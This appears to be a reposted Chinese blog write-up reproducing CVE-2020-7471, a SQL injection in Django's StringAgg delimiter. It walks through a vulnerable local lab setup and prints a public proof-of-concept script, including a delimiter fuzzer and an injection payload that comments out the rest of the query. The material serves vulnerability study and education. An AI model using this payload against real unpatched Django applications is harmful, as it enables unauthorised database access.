欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2020-7471漏洞复现

程序员文章站 2022-03-24 15:27:01
...

1. CVE-2020-7471漏洞复现

1.1. 漏洞简介

2020年2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)并注入恶意SQL语句。

1.2. 漏洞影响范围

EG:

/受影响版本
Django 1.11.x < 1.11.28
Django 2.2.x < 2.2.10
Django 3.0.x < 3.0.3
Django 主开发分支

/不受影响产品版本
Django 1.11.28
Django 2.2.10
Django 3.0.3

1.3. 漏洞环境搭建(parrot 5.3.0-3parrot3-amd64)

1.3.1. 安装 django 漏洞版本(测试使用版本为3.0.2)

使用pip命令安装。
EG:

pip3 install django==3.0.2

1.3.2. 安装postgres 数据库

由于Debian默认包括PostgreSQL。要在Debian上安装PostgreSQL,可以直接使用apt-get(或其他apt-driving)命令,这里安装的是postgresql-11。
(其他安装方式见:Linux 上安装 PostgreSQL
EG:

sudo apt-get install postgresql-11

1.3.3. 创建测试数据库test

初次安装postgres 数据库,系统会创建一个数据库超级用户 postgres,密码为空。使用命令(sudo -i -u postgres)进入postgres数据库,并创建测试数据库(test)。
EG:

sudo /etc/init.d/postgresql start
sudo -i -u postgres
psql
ALTER USER postgres WITH PASSWORD '123';
/更改用户postgres密码为123;
CREATE DATABASE test;

CVE-2020-7471漏洞复现

1.3.4. 下载CVE-2020-7471到本地

EG:

git clone https://github.com/Saferman/CVE-2020-7471.git

1.3.5. 修改配置文件

修改文件…/CVE-2020-7471/sqlvul_projects/settings.py 里面的第78列下的数据库配置,如果之前安装postgres数据库使用的默认配置(包括密码),就无需修改任何任何配置,可以跳过这一步(我这里更改了初始密码故需要更改);
EG:

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'test',         # 数据库名称
        'USER': 'postgres',
        'PASSWORD': '123', # 数据库用户密码
        'HOST': '127.0.0.1',    # 数据库地址
        'PORT': '5432',
    }
}

1.3.6. 利用CVE中的代码初始化测试数据库test中的表

EG:

python3 manage.py migrate
python3 manage.py makemigrations vul_app
python3 manage.py migrate vul_app

使用命令就可以查看到插入到test库中的表以及表中数据
EG:

sudo -i -u postgres
psql
\c test
\d
select * from vul_app_info;

CVE-2020-7471漏洞复现

1.3.7. 运行 POC 脚本(CVE-2020-7471.py)查看结果

EG:

python3 CVE-2020-7471.py

CVE-2020-7471漏洞复现

1.3.8. 对POC 脚本(CVE-2020-7471.py)粗略分析

EG:

# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")

# Django 版本大于等于1.7的时候,需要加上下面两句
if django.VERSION >= (1, 7):#自动判断版本
    django.setup()

from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count

"""
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
"""

def initdb():
    data = [('li','male'),('zhao','male'),('zhang','female')]
    for name,gender in data:
        Info.objects.get_or_create(name=name,gender=gender)

def query():
    # FUZZ delimiter
    error_c = []
    other_error_c = []
    for c in "aaa@qq.com#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
        results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
        try:
            for e in results:
                pass
        except IndexError:
            error_c.append(c)
        except:
            other_error_c.append(c)
    print(error_c)
    print(other_error_c)

def query_with_evil():
    '''
    注入点证明
    分别设置delimiter为 单引号 二个单引号 二个双引号
    尝试注释后面的内容 ')--
    :return:
    '''
    print("[+]正常的输出:")
    payload = '-'
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)
    print("[+]注入后的的输出:")
    payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)



if __name__ == '__main__':
    print(django.VERSION) # 测试版本 3.0.2
    initdb()
    query()
    query_with_evil()
1.3.8.1. initdb()函数

给管理器添加初始测试数据[(‘li’,‘male’),(‘zhao’,‘male’),(‘zhang’,‘female’)];

1.3.8.2. query()函数

进行模糊测试,筛选出不能绕过转义符(\)的delimiter(分隔符)。

1.3.8.3. query_with_evil()函数

进行注入点证明测试,payload前后两个不同的赋值,是为了得到两个不同的结果,前一个使用正确的分隔符-,后一个是使用同样的分隔符-,但是后面有一个转义符(\),这样做,是因为分隔符-绕过了转义符\(转义单引号’),使得右括号闭合了,导致后面的SQL语句的执行(输出只出现一条,是因为使用了LIMIT,这是为了证明该SQL语句确实被执行了)

2. 总结

此次漏洞复现的过程中,可能需要注意的是在不同操作系统上的postgres数据库的安装,容易出现意外的问题,再然后就是关于测试环境以及CVE文件中的配置。从POC脚本文件中也能看出,编写者证明漏洞注入点的思维的缜密性,最后对于,运行POC脚本的结果,也能直观的感受到漏洞的存在点,以及潜在的危害。这一次的漏洞复现经历,又是一次宝贵的学习经验。

[如有错误,请指出,拜托了<( _ _ )> !!!]

[参考文档]
https://github.com/Saferman/CVE-2020-7471
绿盟科技安全情报:Django SQL注入漏洞(CVE-2020-7471)威胁通告

相关标签: 漏洞复现